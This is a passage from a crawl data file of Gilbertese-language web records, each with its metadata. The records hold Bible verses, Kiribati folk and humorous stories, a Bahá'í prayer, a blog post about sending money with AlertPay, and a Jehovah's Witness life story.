1.0000100135803223}","num_words":59,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.492,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"35 E na kakatonga te rereua ma te aba ae mwauteretere,+\nAo e na kimwareirei te rereua ae aoraoi ao e na onrake n te uee ae te taberon.+\n2 E na bon uee,+\nE na kakatonga ao n takarua ni kimwareirei.\nE na anganaki karinean Rebanon+\nAo tamaroani Karemera+ ma Tiaron.+\nAne a na nora mimitongin Iehova, ae tamaroan Atuara.","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/wol.jw.org\/gil\/wol\/bc\/r178\/lp-gb\/1001061127\/1731","date":"2018-11-14T22:38:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742316.5\/warc\/CC-MAIN-20181114211915-20181114233331-00042.warc.gz","language":"gil","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000075101852417}","num_words":59,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.559,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|Posted by Amota Eromanga on March 30, 2017 at 8:25 AM|\nAran ngkoa te reirei are i tabon Takoronga i Betio bon Takoronga Primary School. Bon anne arana ae bati n kinaaki iai n ririki aika a bati. Ma e a manga bitaki arana nakon DaiNippon Primary School imwiin bobongan te DaiNippon Causeway are imarenan Betio ma Bairiki.\nBon te bwai ae moan te kakawaki bitakin aran te reirei aingaia are e a kaman karaoa ana katauraoi te reirei aio imwaain te botaki ni katokaara. Taiani marooro, kamataku ma te amwarake a kaman tia aron baireaia. Irua ake a na kaooaki a kaman roko naba irouia aia invitation cards.\nStudents, parents, komete ao ai bon teachers ao rangi ni ingarakea rokon te bong are te Kanimabong. Te bong anne are e nang kamatoaaki iai bitakin aran aia reirei man Takoronga Primary School nakon arana ae boou ae DaiNippon Primary School.\nE a mwiokoaki ngkanne te Tiibi Komete bwa e na anga te welcome speech nakoia irua. E rangi n timwaati ao man rabakau naba ni marooro te rorobuaka aio. Ai bon te akea riki ana kangaanga bwa are ngaia e a tia ni koreaki ana speech n te beeba ao manga bon te taetae ni Kiribati. Nanona bwa e a ti warekia naba ngkana e roko ana tai. E aki rangi ni kabanea ana tai ni warewareka ana speech te Tiibi Komete aio bwa are e bon rabakau ni wareware ni Kiribati - ma e aki ataia ae iai ENGLISH WORDS ibuakona.\nAkea bwa e a roko te Kanimabong ao a bane n roko irua ma kaain te botaki ni mwaneaban te reirei. E kaukaki n te tataro ao imwiina e a boo ana tai te Tiibi Komete.\nE na tabwara am Tiibi Komete ma are e a kauka naba ana beeba ao mani wareka ana speech: \"Kam na mauri ara irua, te bong aio moan te kakawaki ...... e nangi bwaka aran ara reirei nakon te ara ae, ae, ... (e a bae ngkanne wiina bwa e a babanga warekan te ara are DaiNippon Primary School aingaia are e a keiaki ni katiribwarea n te taetae ni Kiribati ) ... ae, ae TAINABOON BURIMARAI TIO OO\"\nBon tiaki te bwai tounakoia irua ma te koraki - n aran te reirei are a ongora. A kariaa te ara are 'DaiNippon Primary School' ma ai tiaki bwa ai 'Tainaboon Burimarai Tio Oo'.\nE na kanga iroun aia Tiibi Komete ao ngaia e aki bane naba ana Class 9 ngke e primary.\nCategories: Funny Stories","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/www.storiesfromkiribati.com\/apps\/blog\/show\/44459639-aran-te-reirei-ae-boou","date":"2018-11-20T08:04:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039746301.92\/warc\/CC-MAIN-20181120071442-20181120093442-00512.warc.gz","language":"gil","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"gil_Latn_score\": 1.0000090599060059}","num_words":413,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.395,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"-\n-\n42 E na kakaraoaki te karea ni kabuekaki aei n ami roro nako i rarikini mataroan te umwa ni botaki i matan Iehova, ike N na kaoti iai nakoimi bwa N na taetae nakoim ikanne.+\n-\n-\n-\n6 Ni kaineti ngkanne ma ianena ake a nimta Iehova ni beku ibukina,\nMa n tangira aran Iehova+\nAo n riki bwa ana toro,\nAo te koraki nako ake a kawakina te bongi n Taabati ma n aki urua,\nAo a nimta au berita,\n7 N na kairiia naba nakon au maunga ae tabu+\nAo ni kakimwareireiia i nanon umwau n tataro.\nA na butimwaeaki i aon au baonikarea aia karea ni kabuekaki aika bwanin ao aia karea.\nBwa e na aranaki umwau bwa te umwa n tataro ibukia botannaomata ni kabane.\"+\n-","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/wol.jw.org\/gil\/wol\/bc\/r178\/lp-gb\/1001061127\/1721","date":"2018-11-17T07:14:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039743294.62\/warc\/CC-MAIN-20181117061450-20181117082741-00011.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":124,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.468,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Karikani Bwaai 7:13Te Baibara ae Tabu te Rairai ae te Aonnaba ae Boou 13 E rin Noa n te bong naba anne i nanon te aake ma natina ake Tem, Am, ao Iabeta,+ ao buuna ma buuia natina ake teniman.+ Karikani Bwaai 7:23Te Baibara ae Tabu te Rairai ae te Aonnaba ae Boou 23 Mangaia are E kamaunai baika maiu ni kabane mai aon te aonnaba, n ikotaki ma aomata, maan, maan aika kawakawa, ao manin karawa aika kibakiba. A bane ni kamaunaaki mai aon te aonnaba,+ ma tii Noa ma raona ake n te aake aika reke maiuia.+","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/wol.jw.org\/gil\/wol\/bc\/r178\/lp-gb\/1001061164\/130","date":"2018-12-11T16:12:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823657.20\/warc\/CC-MAIN-20181211151237-20181211172737-00593.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":97,"character_repetition_ratio":0.081,"word_repetition_ratio":0.091,"special_characters_ratio":0.249,"stopwords_ratio":0.392,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Betero 2:4Te Baibara ae Tabu te Rairai ae te Aonnaba ae Boou 4 Bwa e aki taona nanona te Atua mani katuuaaeaia ngkoa anera ake a bure+ ma e karenakoia nako Tatarati,*+ ni kabwakaia ni mwarua aika rotongitong bwa a na tauaki iai imwain te motikitaeka,+ Iuta 6Te Baibara ae Tabu te Rairai ae te Aonnaba ae Boou 6 E kabaeia anera ake a kakeai mwiokoaia ngkoa ma ni kitan oini mwengaia ae riai,+ n taian taurekereke n aki toki n te rotongitong, imwaini kakororaoan are e motikaki ibukia, n te bong are kakannato.+","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/wol.jw.org\/gil\/wol\/bc\/r178\/lp-gb\/1001061164\/127","date":"2018-12-19T01:43:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376830305.92\/warc\/CC-MAIN-20181219005231-20181219031231-00569.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":92,"character_repetition_ratio":0.084,"word_repetition_ratio":0.048,"special_characters_ratio":0.221,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"News and information service for Banaban Network Worldwide!\nMauri BANABAN VOICE members,\nAio te kanako mwane ae e baiti ao man boraoi. E safe ao bon akea iai te kanganga ngkana ko kabongana. E boraoi riki ana tiati ke ana fee nakon te Western Union ke te Bank transfer n aron ae i ataia. Ngkana iai am titiraki ke am kan ota ao reitaki \"click\" iaon rongorongona riki ae e banin.\nI karaoa te video aio ibukia ara koraki ni FIJI ake a join Ashmax... taiaoka ni feel free nte skip te part anne iaon te ashmax ngkana ko tangiria ao nakon kabwarabwarakin te alert pay ngkana ko tii tangiria ni kabongana te alertpay ibukin am kanako mwane nakoia am utu ke aomata nako rinanon te internet.\nKam rabwa,\nFor more information iaon te alert pay, Click iaon te banner ae inano.\nViews: 19\nComments are closed for this blog post","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/send-money-to-fiji-or-any","date":"2018-12-17T06:59:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376828448.76\/warc\/CC-MAIN-20181217065106-20181217091106-00074.warc.gz","language":"gil","language_score":0.9999958277,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 0.9999958276748657}","num_words":150,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.24,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3 Ioane 11Te Baibara ae Tabu te Rairai ae te Aonnaba ae Boou 11 Tariu ae ko tangiraki, tai kakairi n te bwai ae buakaka, ma kakairi n te bwai ae raoiroi.+ Ane e karaoa ae raoiroi ao e nako mairoun te Atua.+ Ane e karaoa ae buakaka ao e tuai n nora te Atua.+","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/wol.jw.org\/gil\/wol\/bc\/r178\/lp-gb\/1001061164\/108","date":"2018-12-14T22:05:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376826354.54\/warc\/CC-MAIN-20181214210553-20181214232553-00508.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":53,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.472,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BOTAKI N TAMNEI\nN te tai are kam rin iai n te ruuni-bowii, anaa te tataro aio ma te manawa ae e bukibuki n tangirakin te Atua ao te newe ae e itiaki ni kaakeai bwaai ni kabane i rarikin Ururingana, bwa e bia te Kabanea ni Mwaaka n aakoi ni buokingkami ni karekea te tokanikai ae e riao.\nTe Atua ae Atuau! Boni ngaiira Am toro ake ti a tia ni kamwawaira man bwaai ni kabane i Rarikim i nanon te Bong ae e mimitong aio. Ti a tia n ikotaki i nanon te Botaki n Tamnei aio, ni katiteuanaaki n ara taratara ma ara iango, ao ni kaboraoaki aan ara kaantaninga i bukin kamoamoaan Am Taeka i buakoia botannaomata. Te Uea, ae Atuara! Karaoiira bwa kanikinaaean Am kairiiri ni karawa, bwa maniuan Am Aro ae e karietataaki i buakoia aomata, bwa tabonibai i bukin Am Mwioko ae e korakora, Ngkoe ara Uea ae Moan te Rietaata, bwa kaotiotan Am Katiteuanaaki n Atua i nanon Am Abanuea ni Mimitong, ao itoi aika a raneanea n ootanako n aono ni kabane. Te Uea! Buokiira n riki bwa taari aika a ing man naouean Am raoiroi ae e kamiimi, raanga n ran aika a waanako man Am Tabuki aika a moanibaa ni mimitong, uaa aika a raraoi i aon Kain Am Waaki ni karawa, kaai aika a maeiei n angin Am Tituaraoi i nanon Am Onaroka ni kureebe mai karawa. Te Atua! Karaoa tamneira bwa a na tinea Kibun Am Katiteuana n Atua, kakimwareireian nanora raanganakon Am Raoiroi, bwa ti aonga n tii teuana n aron naoni marawa ae teuana ao n riki ni butaki n aron buraenimatan Am oota ae e raneanea; bwa a aonga ara iango, ara taratara, ara namakin n riki iai bwa koauan aroia ae teuana, ni kaotiota angin te boonnano ni kabutaa te aonaaba. Boni Ngkoe te Raoiroi, te Tituaraoi, te Tia Aanga, Moan te Mwaaka, te Ataataiaomata, te Nanoanga.\n\n\nTe Auti << Ae Rimoa Ae Kan Riki >> Te Ao","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/www.bahaiprayers.org\/kiribati\/9.htm","date":"2018-12-10T09:15:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823320.11\/warc\/CC-MAIN-20181210080704-20181210102204-00060.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":333,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Mangaia ae kam na kaaki te buakaka ni kabane,+ ma te babakanikawai ma te kakamanraoi ma te bakantang ao te uarao ni kabane, 2 ao katotongi aroia merimeri aika tibwa bungiaki,+ n aromi ni bwarua te rannimamma ae aki renganaki* ae nako man ana taeka te Atua, bwa kam aonga n rikirake iai nakon te kamaiuaki,+ 3 bwa kam a tia ni katoonga ma n nora* ana akoi te Uea.\n4 Ngkai kam a nakon teuaei, ae te atibu ae kaakiaki irouia aomata,+ ma e rineaki ao n rangi ni kakawaki iroun te Atua,+ 5 ao kam a kateaki ngkami aika atibu aika maiu, bwa te auti ae kateaki n taamnein te Atua,+ bwa kam na riki bwa te koraki n ibonga* ae itiaki,* bwa kam aonga n anga taiani karea+ aika boraoi ma taamnein te Atua aika butimwaeaki irouna rinanon Iesu Kristo.+ 6 Bwa e kangai te Koroboki ae Tabu: \"Noria! I a kawenea i Tion te atibu ae rineaki, ae atibun te maninganinga ae aan te kateitei, ae rangi ni kakawaki, ao e na aki bwara nanon*+ ane e onimakinna.\"\n7 E rangi ni kakawaki teuaei iroumi ibukina bwa taan onimaki ngkami, ma ni kaineti ma ake a aki onimaki, ao e koreaki ae kangai: \"te atibu are a kaakia taani kateitei,+ e a riki bwa atibun te maninganinga* ae kakannato riki,\"+ 8 ao \"te atibu ni kabwakabwaka ao te bwaa ni kamatauninga.\"+ A tatanako naakai ibukina bwa a aki ongeaba nakon te taeka. Ao bon aio tokia aeka n aomata aikai ae motikaki ibukia. 9 Ma ngkami bon \"te reeti n aomata aika kam rineaki, te koraki n ibonga aika ueea, te natannaomata ae itiaki,+ te koraki ake ana bwai te Atua,+ aika kam riai ni kabutaanako taekan raoiroin aroaron\"*+ Teuare weteingkami man te roo nakon ana oota ae kamimi.+ 10 Bwa bon tiaki ana botannaomata te Atua+ ngkami ngkoa, ma ngkai ai bon ana botannaomata, bon te koraki ngkami ake kam aki nanoangaaki ngkoa, ma ngkai kam a nanoangaaki.+\n11 Raou aika kam tangiraki, I kaungaingkami ngkai kaanga ianena ngkami ao taani maeka n iruwa,+ bwa kam na teimatoa n rawa nakoni kaibwabwarun te rabwata+ aika buakaningkami.+ 12 Kateimatoai raoiroin aroaromi i buakoia kaain te aonnaba,+ bwa ngkana a bukiningkami bwa taani kakaraoa ae bure, ma a nori ami mwakuri aika raraoi,+ ao ibukin anne ane a na manga neboa te Atua iai n ana bongi n tutuo.\n13 Kam na aantaeka ibukin te Uea, nakoni bwaai* nako+ aika kateaki irouia aomata, ae tao nakon te embera+ ae kakannato, 14 ke nakoia kowana ngkai kaanga a kanakoaki irouna bwa a na katuuaaeia taani kakaraoa ae bure, ma a na kamoamoaia akana kakaraoa ae raoiroi.+ 15 Bwa bon nanon te Atua, bwa kam na katoka* aia taetae ni bangabwai aomata aika nanobaba, n aromi ni kakaraoa ae raoiroi.+ 16 Kaotingkami bwa aomata aika inaomata,+ ao kabongana inaomatami ni kaotia iai bwa ana toro te Atua ngkami,+ ma tiaki n ai aron ae kaanga rabunan* te mwakuri ae buakaka.+ 17 Karineia aeka n aomata nako,+ tangiriia tarimi nako i nanon te onimaki,*+ maaka te Atua+ ao karinea te embera.+\n18 Ke a aantaeka tooro irouia aia toka, ma te karinerine ae bati,+ tiaki tii nakoia aika raoiroi ao aika atataiaomata, ma nakoia naba ake e kangaanga kakukureiaia. 19 Bwa e kukurei te Atua ngkana iai ae e nanomwaaka i aani kangaanga* ao ni karawawataaki n te ribuaka, ibukini mataniwin nanona i matan te Atua.+ 20 Bwa tera raoiroin nanomwaakami i aan oreakimi ngkana kam karaoa ae bure?+ Ma bon te bwai ae kakukurei iroun te Atua ngkana kam nanomwaaka i aani karawawataami ibukini karaoan ae raoiroi.+\n21 Ni koauana, bon aei ae kam weteaki nako iai, bwa e kammarakaki naba Kristo ibukimi,+ ao e katuka te banna ni katoto nakoimi bwa kam na toua raoi mwini mwanekana.+ 22 E aki karaoa ae bure,+ ao akea te mwamwanaa te aba i wina.+ 23 Ngke e kabuakakaaki+ ao e aki kabooa mwina n taetae ni kabuakaka.+ Ngke e maraki+ ao e aki taetae ni karekekai, ma e anga ngaia nakon Teuare motikitaeka+ n te eti. 24 E uouotii ara bure+ n rabwatana i aon te kai,*+ bwa ti aonga ni kamaiuaki man te bure ao ti na maiuakina ae raoiroi. Ao kam \"kamarurungaki n ikoakina.\"+ 25 Bwa kam tiotionako n aroia tiibu ngkoa,+ ma kam a okira ngkai te tia kawakintiibu+ ae te mataniwi i aoni maiumi.*","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/wol.jw.org\/gil\/wol\/b\/r178\/lp-gb\/nwt\/GB\/2013\/60\/2","date":"2018-12-13T10:48:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376824675.15\/warc\/CC-MAIN-20181213101934-20181213123434-00103.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":713,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|Posted by Amota Eromanga on May 2, 2018 at 1:55 PM|\n(MATARI AO TE TIA TARARUAI ANA MAN BAKOA)\nE a manga rangi ni babaa ngkai te akawa i taari teuae Matari - are ai bon temanna bwa te toa ngkai. A bon aki kona n tare n te ika bwa n te bong koraki ao ai te nanako naba n akawa. Ana tabo ae rangi n tatangiria riki n akawa iai bon aon te maran n tain te ora ke nanon te nama ngkana e iabuti. Ngkana e iabuti ao e uanako naba ni bebeibeti n akawa.\nMa iai kaokoron akawan Matari ma are e tataneiai te aba iai. E aki kabongana te ao ke te matau. Eng, e ti kabonganai marurungin ao korakoran baina ma waena. N te tai naba are e kabuka iai taari ni baina ke waena ao ai bon te mate naba ika n te tabo anne; n rebwetauan ma rurungaan ana kabukibuki. Tiaki ti n te tabo anne ma a rotaki naba ika ma manin taari riki tabeua ake tao irabwi te iaati raroaia ma ngaia. Ibukin ngkanne akawaan ika ake a bwanga n te rakai, ao e a ti karina naba baina ao mani urubekea te rakai anne. Bon te akawa ae moan te kareke ngkai bon akea aia anga ika n rabanako mai iai.\nMa iai te bwai ae rikirake ni katabetabea nanon Matari n ana tai n akawa. Bon aomatan taari are e aki toki ni bebeibeti ni uakaan ma ngaia n te tabo are e akawa iai. Te aomata aio bon kaain moone ao tabena bwa te tararuaia ika ao manin taari n aekaia nako. Eng, bon anne mwiokoana mai iroun Bakoa - aia uea kaain taari ao are e maeka n ana tabo are Moone i kabin marawa. E rangi n un ao nanokawaki te aomata aio n aron akawan Matari, riki boraia iika ni mate man kabukan taari ma urubekean taian rakai ma atiibu.\nAkea riki te bwai ae riai ni karaoia teuaei ma ti te kaongoa Bakoa rongorongoia ana ika ma ana man ake ai bon te bora naba ni mate iroun Matari. Ngke e ongo Bakoa anne, ao e aki kabanetai ma e a kanakoa naba ana kakao nakon Matari bwa e kani kaitibo ma ngaia i abana are i moone. E karaoa aio Bakoa bwa bon ana anga ni kamwanea ao n tiringa Matari ibukin ana mwakuri nakon bwain ma ikan taari.\nN te bong are imwiina ngke e a manga tabe naba n akawa Matari, ao e a kaongoaki rongorongon ana kakao Bakoa. E aki rangi n mimi n te kakao anne ngkai e a kaman ongoongo aningina rikina iroun ana unaine arei. E rangi ni kan kaitibo naba ma Bakoa ao riki e kan noora te aba are moone. \"Akea te kangaanga!\" ana kaeka Matari nakon teuare e uota te rongorongo.\nN okirikaakina nakon mwengana ao e a kaongoraea neiere tibuna taekan ana kakao Bakoa. E kaeka te unaine arei man taku, \"Bon anne ana kawai Bakoa ni kamwaneko bwa e na tiringko. Ko riai n tarataraoi ao ni kaiangoraoiko. Uoti betiam ni mwananga are am koromatang ma am man te kekenu. Kabonganai bwaai akanne n tain te kangaanga.\"\nE a tauraoi ngkai Matari ni kaea nangin moone. Iriana bon ana koromatang ao ai ana man te kekenu are e kainaki raoi inanon te abein are e rarangaaki man baan te ni. E a karaurau n ruo nako taari ni kaea te aomata are e taningaia i nano. A uaia ngkai n tebonako i taari bwa ai kaean moone irouia.\n(E na reitaki - Mwakoro 4)\nCategories: Other Stories","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/www.storiesfromkiribati.com\/apps\/blog\/show\/next?from_id=44507656","date":"2019-01-19T04:44:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583662124.0\/warc\/CC-MAIN-20190119034320-20190119060320-00591.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":599,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.399,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N TE ingabong teuana i Brookings, i Dakota Maiaki i U.S.A., ao e a korakora te mwaitoro. I a kauringaki iai bwa e nang roko tain te kamwaitoro n te tabo anne. Ma ko bae ni mimi n ataakin ae n te bong anne, a a bane n rurubenebene raora aika mena n te auti ni kaikobwai ae akea te bwai ni kaabue iai. Ti tei i matan nnen nimaia maan ae kanoana te ran ae mwaitoro! N na karakina rongorongou bwa kam aonga n ota bwa bukin tera.\nRONGORONGON AU UTU\nI bungiaki ni Maati 7, 1936, aman ngaira ao ngai te bina. Ti maeka n te tabo ni man ao n ununiki ae uarereke i mainikun Dakota Maiaki. Bon iriani maiura n ara utu te ununiki ao tabeakinaia maan, ma e aki moanibwai iroura. A bwabetitoaki au karo ao n riki bwa Ana Tia Kakoaua Iehova n 1934. A a tia ni katabui maiuia nakon Tamara are i karawa ae Iehova, ngaia are e moanibwai irouia karaoan nanona. E beku tamau ae Clarence bwa te tabonibai n te kambwana (ae te tia babaire n te rabwata n unimwaane n taai aikai) n ara ekaretia ae uarereke i Conde i Dakota Maiaki, ao imwina riki ai tamau ae Alfred.\nTi katoatai ma ara utu n kaei bobotaki ni Kristian ao ni kawara te auti teuana ma teuana, ni kaongoia aomata te kantaninga ae kakukurei man te Baibara ibukin taai aika imwaira. E korakora ringakin nanora ngaira naati n aia katoto ara karo ao n aroia ni kataneiaira. Ti riki bwa taan uarongorongoa te Tautaeka n Uea ngai ma mwaaneu ae Dorothy ngke onoua ara ririki. N 1943, I a kaaina Te Kuura ni Kataneiai Ibukia Taan Uarongorongo are e a tibwa kakaraoaki n ara bobotaki.\nA kakawaki ni maiura taiani bwabwaro ao ruunga. Brother Grant Suiter bon te tia kabwarabwara ae te iruwa are e roko n te bwabwaro n 1949 i Sioux Falls i Dakota Maiaki. I teimatoa n uringa ana kabwarabwara ae kangai: \"E na Waekoa Rokon te Toki Nakon Ane Ko Iangoia!\" E katuruturua iai ae a riai Kristian ni kamanenai raoi maiuia n tataekina te rongorongo ae raoiroi ae taekan Ana Tautaeka n Uea te Atua ae e a tia n tei. I boni kaungaaki iai bwa N na katabua maiuu nakon Iehova. N te runga n aono are imwina i Brookings, I a mena n te auti ane rangi ni mwaitorotoro anne, n aroni kabwarabwaraana mai moa, n tataningaa te bwabetito. E riki nnen nimaia maan ae karaoaki man te biti bwa aongkoa te nei ni bwabetito ibukira ngaira ake aman n Nobembwa 12, 1949.\nImwina, I a katea tiau ae te bwaiania ao I moana karaoana n Tianuare 1, 1952, ngke 15 au ririki. E taku te Baibara: \"Ane e nakonako ma akana wanawana ao e na wanawana,\" ao a bati aika wanawana n au utu ake a boutokaa au motinnano ibukin te bwaiania. (TaeRab. 13:20) E riki bwa toau ni bwaiania ai tamau ae Julius ae 60 ana ririki ni maiu. E ngae ngke a kaokoro ara ririki, ma ti kaai n rangi ni kukurei n te mwakuri ni minita. I karekea wanawanau man rabakauna ni baike e rinanoi ni maiuna. E waekoa naba n riki Dorothy bwa te bwaiania.\nTABEAKINAU IROUIA MATANIWI N TE AONO\nNgke te roro n rikirake ngai, a bati mataniwi n te aono ma buuia ake a aki toki ni kaoaki irouia au karo bwa a na maeka iroura. Te taanga teuana are I rangi ni buokaki irouia bon Jesse ma Lynn Cantwell. Man aia kaungaunga ao I a iangoia bwa N na bwaiania. N noran tabeakinau irouia, e a kauekea i nanou kani katean tiau n te onimaki. Ngkana a mwakuri n te ekaretia ae uakaan nakoira, n tabetai a kaoai bwa N na mwakuri ma ngaiia. E kakukurei ao ni kaunganano aroia anne!\nImwina riki, a mwiokoaki Bud Miller ma buuna ae Joan bwa a na karaoa te mwakuri ni mwamwananga n ara tabo. N te tai anne ai 18 au ririki ao I a kaaitara ma te kangaanga ibukin te riki bwa te tautia. E baireia te botaki ae tabe ma rineaia tautia n au tabo, bwa N na karaoa te mwakuri ae aki boraoi ma ana kaungaunga Iesu ibukia taan rimwina, are a na tei i nuka ni kaineti ma waaki n tautaeka. Ao I boni kan tataekina te rongorongo ae raoiroi ae taekan te Tautaeka n Uea. (Ioa. 15:19) I bubutii nakon te botaki aei bwa N na kaokoroaki bwa te minita.\nE rotaki nanou irouni Brother Miller ngke e kukurei n irai nakon te boowi man te botaki aei ao n ongora. Aroaron teuaei, e rangi ni bobo ma aomata ao e aki mamaaku. I a rangi ni kaninikoriaaki riki ngke iai i rarikiu te mwaane ae korakora ana onimaki! Ao imwin ongoraean anne n raatokin tain te kabuebue n 1954, I a kaokoroaki n te botaki aei bwa te minita. E a reke iai angau ni karokoai n tiau riki teuana n te onimaki.\nN te tai anne, e a roko te beeba ni kakao nakoiu bwa N na beku n te Betaera, n te tabo ae aranaki n te tai anne bwa te Watchtower Farm, i Staten Island i New York. I rangi ni kukurei ni mwakuri iai tao tenua te ririki. A rangi ni bati baika I rinanoi aika kakukurei ikanne, bwa a bati aomata aika wanawana ake I kaitiboo ao ni kaai ni mwakuri ma ngaiia.\nTE BEKU N TE BETAERA\nE tei te tabo ni kanakobwanaa ae te WBBR n te tabo n ununiki i Staten Island. E kammwakuraki irouia Ana Tia Kakoaua Iehova man 1924 nakon 1957. Tii 15 nakon 20 kaain te Betaera ake a mwiokoaki bwa a na mwakuri n te tabo n ununiki aei. Angiina mai buakora a bon ataei ao a tuai ni mwaatai. Ma e mena i buakora Eldon Woodworth ae te tari te mwaane ae te kabiraki are e a ikawai riki. E boni kaotia n aroarona bwa e wanawana. E kateimatoaira n te onimaki arona n tabeakinira kaanga aron te karo. N te tai are e a noraki iai aki kororaoia tabemwaang bwa ai bon te kangaanga, e na bae ni kangai Brother Woodworth: \"E rangi ni kamimi te bwai ae e a tia ni kakororaoia te Uea n aki ongei aki kororaoia aomata ake e kabonganaia.\"\nTi kakabwaiaaki naba ngkai iai i buakora Brother Frederick W. Franz. E korakora rotakira ni wanawanana ao ana atatai ae rianako n te Baibara, ao e tabeakinira n tatabemanira nako. Ara tia kuuka bon Harry Peterson. E bebete riki iroura kamanenaan ana kabanea n ara anne nakon arana raoi ae Papargyropoulos. Boni ngaia naba temanna i buakoia taani kabiraki, ao e rianako ingaingana n te mwakuri ni minita. E karaoa raoi ana mwakuri Brother Peterson n te Betaera ma e aki kona ni kaaki taekan te mwakuri ni minita. E kona n anganako bubua ma bubua maekatin ni katoa namwakaina. E rangi ni bati naba ana atatai n te Baibara, ao e kaekai ara titiraki aika bati.\nTE KAKABWAIA MAIROUIA TAARI AINE AIKA WANAWANA\nA karaoaki ao ni baketenaki uaanikai ni bon te tabo n ununiki aei. Ni katoa ririki, e nakon 42,600 te rita n uaanikai ao aroka aika kakanaki aika baketenaki ibukia kaain te utu ni Betaera. N te mwakuri aei, I a kakabwaiaaki ni mwakuri iai ma Etta Huth, ae te tari te aine ae wanawana. E mwiokoaki neiei n taian rengarenga ake a kabonganaaki imwaini baketenakia. A roroko taari aine n te tabo anne n taai ake a na baketenaki iai uaanikai bwa a na ibuobuoki, ao Etta e buoka bairean aia mwakuri. E ngae ngke e mwiokoaki riki n te mwakuri anne Etta, ma e boni katea te banna ni katoto ae raoiroi ni karineia taari mwaane ake mataniwi n te tabo n ununiki. I iangoa neiei bwa te banna ni katoto ae raoiroi, ibukin te aantaeka nakon te mwaaka ni kairiri n ana botaki te Atua.\nAngela Romano bon temanna i buakoia taari aine ake a ataei ake a roroko n ibuobuoki ni baketeni 